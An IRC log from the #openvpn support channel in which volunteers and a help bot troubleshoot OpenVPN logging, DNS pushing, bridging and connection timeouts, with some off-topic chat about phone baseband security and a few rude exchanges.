15:19 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
15:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:19 <+pekster> If you aren't logging to an explicit file, openvpn logs to stdout; it's quite possible that gets lost forever
15:19 <+pekster> So, use a --log directive
15:21 <+pekster> Windows has no concept of a kernel-log, so you can't use a --syslog equivilent (and you really wouldn't want openpvn spraying all its messages in a "Windows log" anyway)
15:21 < Azrael_-> pekster: looked into one of my windows-installations and although i don't have a log-entry in the opvn-file and it automatically logs to ./log/<commonname>.log
15:21 < Azrael_-> didn't find where this was configured
15:21 <+pekster> Starting it how? The GUI?
15:21 <+pekster> The GUI adds that in _for_ you
15:22 <+pekster> You won't get that if you launch it from the CLI, where it'll just spray log output to stdout
15:22 < Azrael_-> i started it using the service :)
15:23 < axelm7> is it possible that the gui allows more flexible config location?
15:23 < Azrael_-> both should have the same options
15:24 < axelm7> the config file is stored in c:\program files\openvpn\config\hvstebackend\hvstebackend.ovpn
15:24 < axelm7> which works fine in gui
15:25 < Azrael_-> try adding such a line: log-append /var/log/openvpn.log
15:25 < Azrael_-> in you ovpn
15:25 < Azrael_-> +r
15:25 < Azrael_-> but change it according to the paths like you did for the certificates
15:29 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:30 < axelm7> ok there we go
15:30 < Azrael_-> you got output?
15:30 < axelm7> .ovpn has to be in the config folder. can't be inside a subdirectory
15:30 < axelm7> I got connection
15:30 < Azrael_-> great
15:31 < axelm7> would be great to have that documented in the faq:)
15:31 < axelm7>  thanks Azrael_-
15:31 < Azrael_-> but if you copy the same config into a subfolder and the gui you get an error :)
15:31 < Azrael_-> +start the gui
15:32 < Azrael_-> you're welcome
15:32 < axelm7> if I create a subfolder and move the files there the gui reads the mfine
15:32 < axelm7> but the service ignores them apparently
15:32 < Azrael_-> arhg, ok
15:32 < axelm7> if the files are in config without subdir it works
15:33 <+pekster> Right, that's how the service works (and how most Unix-alike initscripts are designed too.)
15:33 < axelm7> it sucks balls to have the certs and keys in a public folder like c:\program files\openvpn
15:33 <+pekster> So put them somewhere else?
15:33 <+pekster> OS/filesystem management isn't really any concern to openvpn...
15:34 <+pekster> --key "C:\\some\\where\\secure\\my.key"
15:34 < axelm7> ok, I see. that should works
15:34 < axelm7> work*
15:34 < axelm7> thanks
15:34 <+pekster> See also --cd in the !man
15:34 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:47 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
15:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
15:57 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
16:05 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
16:16 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:17 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 264 seconds]
16:18 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
16:22 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
16:22 < blal2> !welcome
16:22 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:22 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:22 < blal2> !redirect
16:22 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:22 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
16:33 < blal2> !pushdns
16:33 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
16:33 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
16:54 -!- master_o1_master [~master_of@p4FF24325.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
16:55 -!- master_of_master [~master_of@p4FD7BCF3.dip0.t-ipconnect.de] has joined #openvpn
16:59 -!- Denial [Denial@05417302.skybroadband.com] has quit []
17:00 -!- axelm7 [~axelm7@186.135.59.79] has quit []
17:11 -!- dailysrl [~noah@69.23.236.53] has joined #openvpn
17:12 < dailysrl> !welcome
17:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
17:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:13 < dailysrl> Hi there! I'm currently having an issue setting up my OpenVPN server thats installed on a VPS I own on my Linux Mint machine. I feel kinda silly I guess asking this, and I have searched, but I'm unable to find out where to get my .pem config file?
17:13 < dailysrl> Thanks for any help.
17:18 < Azrael_-> in all distributions i found so far "easy-rsa" was also shipped with openvpn which provides easy tools to create them
17:22 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Connection reset by peer]
17:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:24 < dailysrl> Would you know where it's located? If it helps, I'm on Ubuntu 12.04.
17:25 < Azrael_-> i did it yesterday on debian: https://wiki.debian.org/OpenVPN#TLS-enabled_VPN
17:25 <@vpnHelper> Title: OpenVPN - Debian Wiki (at wiki.debian.org)
17:25 < Azrael_-> perhaps this helps ya
17:27 < dailysrl> /etc/openvpn was created, so I did it, hope thats alright.
17:27 < dailysrl> wasn't*
17:27 < Azrael_-> https://help.ubuntu.com/community/OpenVPN
17:27 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
17:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:29 < dailysrl> Somethings odd about that though. I installed OpenVPN by a .deb through dpkg.
17:30 < blal2> I'm using the update-resolv-conf and it pushed my DNS through... once
17:30 < blal2> amnd now it no longer works
17:35 < Azrael_-> i have no idea about this topic, out of curiousity: how do you push the dns through?
17:35 < blal2> Depends, are you on linux or windows?
17:35 < blal2> (client-wise)
17:35 < Azrael_-> linux
17:36 < Azrael_-> windows client
17:36 < blal2> right well
17:36 < blal2> !pushdns
17:36 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
17:36 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
17:36 -!- dailysrl [~noah@69.23.236.53] has quit [Ping timeout: 264 seconds]
17:36 < blal2> there's a script that's suppsoed to make it work - - the update-resolv-conf
17:36 < blal2> and that's where my troubles begin
17:37 < blal2> on windows just add register-dns as a line in your client.ovpn
17:37 < Azrael_-> is the script being called? you can try debugging it by writing some text to a file to see wether it runs
17:38 < Azrael_-> and in the log such a line should show up if you increase the verbosity
17:38 < blal2> in my initialisation
17:39 < blal2> I see a line that says
17:39 < blal2>  /etc/openvpn/update-resolv-conf tun1 1500 1542 10.9.8.2 255.255.255.0 init
17:40 < Azrael_-> if you have a local dns (e.g. for intranet) and also get dns from 1-2 vpns, is there a way to route all dns-requests to the correct servers or to chain them (client is a windows one)
17:40 < blal2> unsure, maybe someone else can help you
17:40 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 264 seconds]
17:42 -!- p3rror [~mezgani@41.140.194.219] has quit [Ping timeout: 260 seconds]
17:49 -!- dailysrl [~noah@199.38.82.53] has joined #openvpn
17:52 < blal2> it gets better
17:52 < blal2> could not execute external program
17:57 -!- klein [~klein@177.101.107.55] has joined #openvpn
17:57 -!- klein [~klein@177.101.107.55] has quit [Changing host]
17:57 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:59 < blal2> +x and it works
18:07 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has quit [Quit: WeeChat 0.3.8]
18:09 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
18:09 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
18:09 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
18:17 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
18:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:44 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:48 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
19:07 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Read error: Connection reset by peer]
19:09 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
19:10 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
19:17 -!- dailysrl [~noah@199.38.82.53] has left #openvpn ["Leaving"]
19:21 -!- klein_ [~klein@unaffiliated/klein] has joined #openvpn
19:25 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
19:31 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 276 seconds]
19:36 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:43 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
19:53 -!- mnathani is now known as _mnathani_
20:02 -!- klein_ [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
20:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
20:47 -!- Devastator [~devas@unaffiliated/devastator] has quit []
20:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:01 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:01 < MagisterQuis> Is it possible to get openvpn to communicate with the server-side dhcp server?
21:01 < MagisterQuis> My users won't be using predictable OSs.
21:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:49 <+pekster> MagisterQuis: Don't do that. You need to specifically exclude them from getting a default gateway in that case (otherwise it'll wipe out their *real* gateway
21:50 <+pekster> Why can't you have openvpn manage a dedicated pool when you bridge, and exclude that from the servedr-side dhcp range?
21:50 < MagisterQuis> pekster: Because I'd like DNS updates.
21:50 < MagisterQuis> That's what I'm doing at the moment.
21:50 <+pekster> Ideally, have your openvpn box handle the updates
21:50 < MagisterQuis> Hm...
21:50 <+pekster> If you really need, set up special client views to exclude the TAP MAC prefix so that you can exclude the default gateway ("routers") DHCP reply
21:50 <+pekster> But that's just a mess really
21:50 <+pekster> Do you even need bridging?
21:51 <+pekster> !tunortap
21:51 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
21:51 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
21:51 < MagisterQuis> pekster: I'm using bridging.
21:51 <+pekster> Yes. Why?
21:51 < MagisterQuis> Because I said so.
21:51 <+pekster> Bad reason. Try harder.
21:52 < MagisterQuis> Because fuck you, that's why.
21:52 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
21:52 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:52 < MagisterQuis> And the horse you rode in on.
21:52 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
21:52 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
21:53 <+pekster> Fantastic. Considering you're getting my help/suggestions for free, you're doing a stellar job of making me care
21:54 -!- mode/#openvpn [+o pekster] by ChanServ
21:55 <@pekster> So, in case my prior points went unnoticed, you get server-side DHCP interaction with L2 (ie: tap) across the tunnel. Use that to your advantage or detrement. Doing DHCP over tap has disadvantages when you forget that remote clients have pre-existing default routes
22:12 -!- MagisterQuis was kicked from #openvpn by krzee [pekster's horse is protected!]
22:12 <@krzee> lol
22:13 <@pekster> Funny
22:14 <@pekster> Kicking was really required; I was prepared to do that if he/she was more of an idiot, but hey
22:14 <@pekster> wasn't*
22:14 -!- toobluesc [~nitro@c-50-136-226-78.hsd1.ca.comcast.net] has joined #openvpn
22:15 <@pekster> Then again, I don't really tend to kick people unless the are past the point of deserving it. I find that not holding op and opping when needed serves as a larger statement
22:15 -!- mode/#openvpn [-o pekster] by ChanServ
22:16 <+pekster> It's more in-line with Freenode's policy on escalation anyway
23:02 < jeev> krzee, have you done iax2/sip over openvpn ?
23:40 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:51 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection]
23:54 -!- aegis [~aegis@184.75.213.34] has quit [Ping timeout: 268 seconds]
--- Day changed Tue Sep 03 2013
00:03 -!- giorgiodinapoli [~giorgiodi@146.52.162.17] has joined #openvpn
00:03 < giorgiodinapoli> !def1
00:03 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
00:09 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
00:11 -!- aegis [~aegis@184.75.221.34] has joined #openvpn
00:12 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
00:14 <@krzee> jeev, yes
00:15 <@krzee> pekster, but he said fuck the horse you rode in on, the horse didnt do anything! ;]
00:15 < Eugene> Maybe it was cute
00:20 -!- aegis [~aegis@184.75.221.34] has quit [Ping timeout: 240 seconds]
00:27 < giorgiodinapoli> good moring guys!
00:28 < giorgiodinapoli> im still fighting with my vpn. i have a router where all my company computers are connected to. now i wanna connect my company to a partner company via openvpn. so the initial idea was to forward all traffic from this router to a virtual machine, where we have an openvpn connection to the other office. now i try to get the virtual machine to accept the subnet traffic and forward it to tun0.
00:28 < giorgiodinapoli> as of yet no success any ideas?
00:28 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 256 seconds]
00:29 < giorgiodinapoli> is there a good tutorial or smh?
00:29 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
00:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:30 < giorgiodinapoli> i installed wireshark on the virtual machine, and ping requests and other reuqest are arriving
00:30 -!- aegis [~aegis@184.75.214.18] has joined #openvpn
00:31 < Eugene> Uh, what?
00:31 < Eugene> !route
00:31 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
00:31 <@vpnHelper> behind the server or client
00:31 < Eugene> You don't need to do any of that with forwarding
00:32 < Eugene> Just have routes set up between the two sites, via a VPN link
00:32 < Eugene> If you're using a VPS somewhere as an intermediate, both of your "routers" will be set up as vpn clients, with a subnet(the LAN) behind each
00:33 < Eugene> Just make sure that both LANs have a different IP block and you should be good to go
00:33 < Eugene> If they share one.... change it.
00:33 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
00:35 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
00:37 < giorgiodinapoli> ok thanks
00:42 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
00:44 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 260 seconds]
00:48 -!- C-S-B [~C-S-B@host86-161-28-160.range86-161.btcentralplus.com] has joined #openvpn
00:56 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 245 seconds]
00:58 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
01:00 < giorgiodinapoli> look i have no server accees
01:01 < giorgiodinapoli> i have a client connection to an openvpn server. that works from my vm
01:04 < Eugene> Well. Go run a server.
01:04 < Eugene> !both
01:04 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
01:04 < giorgiodinapoli> i cannot +
01:04 < giorgiodinapoli> i have the client connection from the other company
01:05 < giorgiodinapoli> and i just want to make this connectiona vailable in the whole office
01:05 < giorgiodinapoli> via the router vm
01:06 <@krzee> then you need to NAT the office to your vpn ip
01:06 <@krzee> there is no guide for it
01:07 < giorgiodinapoli> krzee i forwarded all traffic already for the target subnet to the virtual machine (eth0)
01:07 < giorgiodinapoli> now i need to link eth0 and tun0
01:07 <@krzee> you need to NAT
01:07 <@krzee> !nathack
01:07 <@vpnHelper> "nathack" is see https://community.openvpn.net/openvpn/wiki/NatHack for info on how to solve the problem when you need !route_outside_ovpn but cant add a route to the gateway or the lan machines
01:08 <@krzee> nothing like that for the use case, but you do need nat, lol
01:08 <@krzee> its basically a reverse nathack
01:08 < Eugene> I was happy leaving it at "go talk to the person ACTUALLY in charge of your network, because it clearly isn't you."
01:09 <@krzee> lol ya that is a better answer ^
01:09 <@krzee> anyways, back to making phones
01:09 < giorgiodinapoli> LOL im the person doing the network
01:09 < giorgiodinapoli> phones?
01:09 < giorgiodinapoli> i thought samsung does this for us ^^
01:09 <@krzee> i sell secure darknet voip phones
01:10 <@krzee> i actually do use samsung galaxy players for my mobile unit
01:10 <@krzee> (not their actual phones, as all mobile phones have insecure basebands which makes the entire device insecure
01:10 <@krzee> )
01:12 < giorgiodinapoli> cool
01:12 < giorgiodinapoli> i want one
01:13 <@krzee> one wouldnt do much, they only call other phones on the darknet
01:13 < giorgiodinapoli> via asterisk?
01:13 <@krzee> nope
01:13 < giorgiodinapoli> vpn p2p
01:14 <@krzee> not p2p, darknet
01:14 <@krzee> the calls flow through my servers, but our privacy policy does not allow us to store any records
01:14 <@krzee> and our encryption keeps it private
01:15 <@krzee> we only sell unlimited service since we keep no records at all
01:16 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 245 seconds]
01:16 <@krzee> p2p would be the phones making a direct connection to eachother
01:16 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:18 < giorgiodinapoli> i know
01:18 < giorgiodinapoli> thats what i would want
01:18 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
01:18 < giorgiodinapoli> but better would be to have it working over normal gsm
01:18 <@krzee> theres apps that do it, but they all require a device with a baseband in order to operate
01:18 <@krzee> lol
01:18 <@krzee> thing you dont get is this:
01:19 <@krzee> to have gsm you need a baseband, to have a baseband makes you insecure, even with the best encryption you can be tapped with a baseband
01:19 <@krzee> i agree, it would be cool? but either you want to do it right or not ;]
01:20 <@krzee> if you want pretend security using gsm, feel free to checkout redphone or silent circle, they both give p2p crypto on your gsm device
01:20 < giorgiodinapoli> whats a baseband
01:20 <@krzee> and niether will make your call safe
01:20 <@krzee> a baseband is the part of your phone that connects to the carrier
01:20 <@krzee> the part that gives you internet (via phone company) and phone service
01:22 < giorgiodinapoli> ah ok
01:23 < giorgiodinapoli> and why should this make my encryption of voice insecure
01:23 <@krzee> the feds already use the baseband exploit to tap people while they are not using the phone by enabling the mic remotely
01:23 <@krzee> if they (or a hacker) want to tap your encrypted call, they hack the baseband and capture audio going in the mic and out the speaker
01:23 <@krzee> totally bypassing all network encryption
01:24 < Eugene> Most people would care about that. I livestream my life.
01:24 < Eugene> But hey, that's me.
01:25 <@krzee> im not so sure its even most people who care
01:25 <@krzee> but some do
01:28 < Eugene> I have no misconceptions about the security of GSM.
01:28 < Eugene> It's exactly as secure as my copper phone lines
01:29 < Eugene> Just tap the phonebox
01:29 <@krzee> not just that
01:29 <@krzee> the basebands themselves are vulnerable
01:30 <@krzee> ALL publicly available ones
01:30 < Eugene> Not even maliciously. Just plain incompetence
01:30 <@krzee> well
01:30 <@krzee> LE has been using it for awhile
01:30 <@krzee> the companies know, they dont fix it
01:30 <@krzee> and it happens to be all of them
01:31  * Eugene shrugs
01:31 <@krzee> so ya maybe? or maybe there was a request in the first place
01:31 < Eugene> I think it's cart-before-horse
01:31 < Eugene> In any case, the best way to not get arrested for making child porn is to NOT MAKE CHILD PORN
01:31 < Eugene> Yes, it's morally wrong, I know. But I have bigger things to worry about.
01:31 < Eugene> Like beer.
01:31 <@krzee> hey my phones dont send picture messages!
01:32 <@krzee> :-p
01:32 < Eugene> And pot legislation
01:32 <@krzee> ooo
01:32 < Eugene> I think I'm moving to Seattle for the new year
01:35 <@krzee> enjoy the rain bro
01:35 < Eugene> I was born there ;-)
01:35 < Eugene> Also shit's recreationally legal, so
01:36 <@krzee> werd
01:36 <@krzee> i forget its illegal every time im in california
01:36 < giorgiodinapoli> krzee
01:36 <@krzee> giorgiodinapoli
01:36 < giorgiodinapoli> lets replace the microphone with an encrypted one
01:36 <@krzee> thats not how it works
01:36 <@krzee> !google analog bug
01:36 <@vpnHelper> Noisebug: <http://www.noisebug.net/>; Analog: Known bugs: <http://www.analog.cx/bugs.html>; Amazon.com: Mini Gadgets RF Signal Bug Detector with Analog ...: <http://www.amazon.com/Mini-Gadgets-Detector-Digital-Indicator/dp/B003U3NLSC>
01:37 <@krzee> err bad search
01:37 <@krzee> but ya, whatever it picks up is what they can take
01:37 < giorgiodinapoli> you dont get me
01:37 <@krzee> no you dont get how it works
01:37 < giorgiodinapoli> NO
01:37 <@krzee> lol
01:37 < giorgiodinapoli> i said
01:37 <@krzee> cool story bro
01:37 < giorgiodinapoli> lets do an encrypted microphone
01:37 <@krzee> k, go do it
01:37 < giorgiodinapoli> that can be attached to android
01:38 < giorgiodinapoli> replace the existing one
01:38 <@krzee> go do it
01:38 < giorgiodinapoli> so everything coming out of the mic is already encrpyted
01:38 < giorgiodinapoli> so what can they do onw
01:38 < giorgiodinapoli> and if i wanna talk with you, you give me your rsa key and i enter it directly intto the mic
01:39 < giorgiodinapoli> so any device can be used
01:39 < giorgiodinapoli> and all is encrpyted
01:40 <@krzee> that would have to use public key for the actual crypto like pgp does
01:40 <@krzee> which means no forward security
01:40 <@krzee> get the persons private key from the mic at a later date and decrypt all your saved traffic
01:41 <@krzee> !forwardsecurity
01:41 <@vpnHelper> "forwardsecurity" is (#1) in server/client mode with certs your key renegotiates (changes) every hour (by default), so if someone captures your traffic, and then gets your key, they can only decrypt the traffic within the timeframe since last renegotiation or (#2) in ptp mode (static key) you do not have this, so if someone gets your key they can decrypt ANY past traffic that they captured
01:41 <@krzee> openvpn uses pki, but only for auth, the crypto key is done differently
01:42 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 245 seconds]
01:42 <@krzee> not to mention, good luck making that device
01:44 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
01:49 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
01:51 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
02:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:16 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
02:27 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
02:32 -!- Rumbles [~Rumbles@mail.solutiontelecom.co.uk] has joined #openvpn
02:40 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
02:43 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:00 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Ping timeout: 245 seconds]
03:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
03:15 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
03:18 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:29 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 246 seconds]
03:31 -!- klaxa [~klaxa@klaxa.eu] has quit [Ping timeout: 240 seconds]
03:34 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
03:40 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
03:40 < Dark_Apostrophe> Hello, I set up OpenVPN on a Windows server for the first time. Having trouble connecting to it. The port used -should- be open, though it's hard to tell with UDP. Would anyone please help me diagnose the problem?
03:41 < Dark_Apostrophe> The intended client is a Mac OS X machine, though since I don't have it handy (it's not mine), I'm using a Win7 laptop to test the configuration
03:42 < Dark_Apostrophe> Got it set up to use a static key
03:43 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
03:43 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
03:44 < Dark_Apostrophe> Got the configuration here: http://pastebin.com/Lcc9qSUJ
03:44 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
03:45 < Dark_Apostrophe> The settings look OK according to the documentation, but most of it is Linux-oriented. In this case, both client and server are running Windows.
03:52 < Azrael_-> Dark_Apostrophe: went like a charm with this tutorial: https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
03:52 <@vpnHelper> Title: Easy_Windows_Guide – OpenVPN Community (at community.openvpn.net)
03:52 < Dark_Apostrophe> Azrael_-: Yeah, but that's for PKI - I'm using a shared secret
03:52 < Azrael_-> ah, sorry, never did something like this, no idea then
03:52 < Dark_Apostrophe> Alright, thanks
04:22 < Dark_Apostrophe> Would anyone else please assist me?
04:22 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
04:22 < adnap> Hello
04:23 < adnap> !welcome
04:23 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
04:23 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:25 < adnap> I have read VPN service marketing that says it anonymizes your Internet usage. However, if a VPN was used by only one client and the attacker knew this, could the attacker intercept traffic between the VPN and a server which the client requested data from before the VPN sends it to the client?
04:26 < adnap> And know specifically what the client was requesting (from the fact that the VPN has one user)
04:28 < adnap> Also, I'm assuming the client is requesting data from a server via HTTP
04:48 <@krzee> Dark_Apostrophe,
04:48 <@krzee> !logs
04:48 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
04:48 < Dark_Apostrophe> krzee, coming right up.
04:49 <@krzee> adnap, if the attacker can get themselves in the middle, yes
04:50 < adnap> krzee: Well, the NSA could for example
04:51 < Dark_Apostrophe> krzee, http://pastebin.com/ikLPBrkR <-- From the client
04:52 <@krzee> !timeout
04:52 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
04:52 <@krzee> the timeout looks different cause its ptp, but same fixes
04:53 < Dark_Apostrophe> Hum... so it might be the firewall. It's supposed to let UDP 1194 through.. :/ Does the client's own software firewall matter? As it's an outgoing connection, it shouldn't
04:53 <@krzee> im gunna crash
